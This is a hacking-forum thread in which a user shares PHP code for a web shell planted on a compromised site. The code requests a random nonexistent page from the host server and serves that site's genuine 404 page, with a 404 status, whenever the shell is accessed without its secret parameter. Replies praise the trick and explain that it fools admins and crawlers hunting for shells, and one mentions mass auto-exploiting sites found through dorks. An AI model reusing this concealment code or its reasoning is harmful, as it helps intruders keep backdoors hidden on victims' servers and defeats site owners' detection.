Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

PHP 

404 Page of Shell's site

Yo.

I am currently working on a shell and thought that this feature would be useful and that I'd share it here. Some shells generate a 404 Page if they don't get accessed with the correct Parameter, but a lot of times it only generates the default Apache 404 site.

This is simple but I thought I'd share the idea.

I did not use the function 'file_get_contents()' because it fails if a 404 code is returned. So what the code does is, it just opens a socket and does a GET request for a random file on the server ( which doesn't exist. ). It will then get the 404 page of the website, making the shell more secure as it has exactly the same 404 page than other pages on the server.


PHP Code

<?php
//Host & Port configuration
$host = $_SERVER['SERVER_ADDR'];
$port = "80";
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$response = socket_connect($sock, $host, $port);


//Generation of random page
$page = "";
$array = array('1', '2' , '3', '4' , '5', '6', '7', '8', '9');
for(
$i = 0; $i<4; $i++)
{
    
$page .= $array[rand(0, sizeof($array) -1)];
}
$page .=".html";

//Building HTTP request
$in = "GET /$page HTTP/1.1\r\n";
$in .= "Host: www example com\r\n";
$in .= "Connection: Close\r\n\r\n";

//Send
socket_write($sock, $in, strlen($in));

//Receive HTTP request
while($answer = socket_read($sock, 2048))
{
    
$answer = strstr($answer, "\n<");
    
$answer = str_replace("/".$page, $_SERVER['PHP_SELF'], $answer);
    echo 
$answer;
}

//Set header for Crawlers etc
header("HTTP/1.1 404 Not Found");
?>

EDIT: YOu'll have to replace the space in the Host Header with dots, I couldn't post it with dots as I don't have 50 posts, lol.
Fixed for copy pasters
Spoiler (Click to View)
But what exactly does it do, i'm pretty new to that kind of stuff.
(Nov 7, 2015 09:47 AM)Mr. Robot Wrote:  Fixed for copy pasters
Spoiler (Click to View)

Thank you. :)
Cool man I would to develop my own shell too. This is a great help thanks a lot.
(Nov 7, 2015 09:53 AM)Freerunning Wrote:  Cool man I would to develop my own shell too. This is a great help thanks a lot.

Since I'm new here I didn't exactly knew if there was a need for such codes, but atleast I helped someone. :D Guess I'll continue posting these.

(Nov 7, 2015 09:48 AM)Lovely❤️ Wrote:  But what exactly does it do, i'm pretty new to that kind of stuff.

So, if you request for example google com/lol.php you will receive a custom made 404 page. To ensure that your shell is as good protected as possible, it works like this: If you do not request the shell with your choosen Parameter, it will get the 404 page of the website the shell is running on,so any user / bot who would accidently stumble over your shell won't notice that there is something different.
(Nov 7, 2015 10:38 AM).trigious Wrote:  Since I'm new here I didn't exactly knew that there was a need for such codes, but atleast I helped someone. :D Guess I'll continue posting these.


So, if you request for example google com/lol.php you will receive a custom made 404 page. To ensure that your shell is as good protected as possible. If you do not request the shell with your choosen Parameter, it will get the 404 page of the shell so any user / bot who would accidently stumble over your shell won't notice that there is something different.

That's really smart actually, clever.
Nice share mate keep up the good work!
[Image: GUsQZTN.gif]
Nice share mate! was useful.
(Nov 7, 2015 11:46 AM)Larry Lovestein Wrote:  Nice share mate! was useful.

Glad to hear that, I am actually surprised. Gonna keep it up then.
Wouldn't you get the same effect from just naming the script something obscure?
/* No comment */
(Nov 7, 2015 01:18 PM)Quad Wrote:  Wouldn't you get the same effect from just naming the script something obscure?

It's very unlikely that someone besides the server admin will find it, yup.

But let's say someone let's a script run that automatically crawls with common dorks and exploits websites to shell them and the shell is called ( how original ) shell.php. Someone else could search for this, or if it's known that the site is hacked, people will search for the shell. Also, a lot of server admins are lazy, which means they will see that there is some file they didn't add, check it in their browser and get the 404 page and will go "weird" and close the case.

I'm just trying to make the shell as secure as possible, this protects the shell when it's requested, doesn't help hiding it.
Had this in my shell for a while now, thought it's common these days. Apparently not.
Good to see someone making something on his own tho.
(Nov 8, 2015 12:50 PM)Meowie Wrote:  Had this in my shell for a while now, thought it's common these days. Apparently not.
Good to see someone making something on his own tho.

This is why I was not sure if I should share this here or not.
Oh, you should probably use another function, since a lot of sites dont have sockets enabled.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[PHP] by gigajewDec 28, 2018 03:19 PM 8 359 Dec 28, 2018 03:19 PM
Last Post: 0xBB
[PHP] by HOPE XDec 19, 2014 03:57 AM 2 115 Dec 19, 2014 03:57 AM
Last Post: HOPE X
[PHP] by Team4o4Jun 16, 2014 10:19 PM 0 155 Jun 16, 2014 10:19 PM
Last Post: Team4o4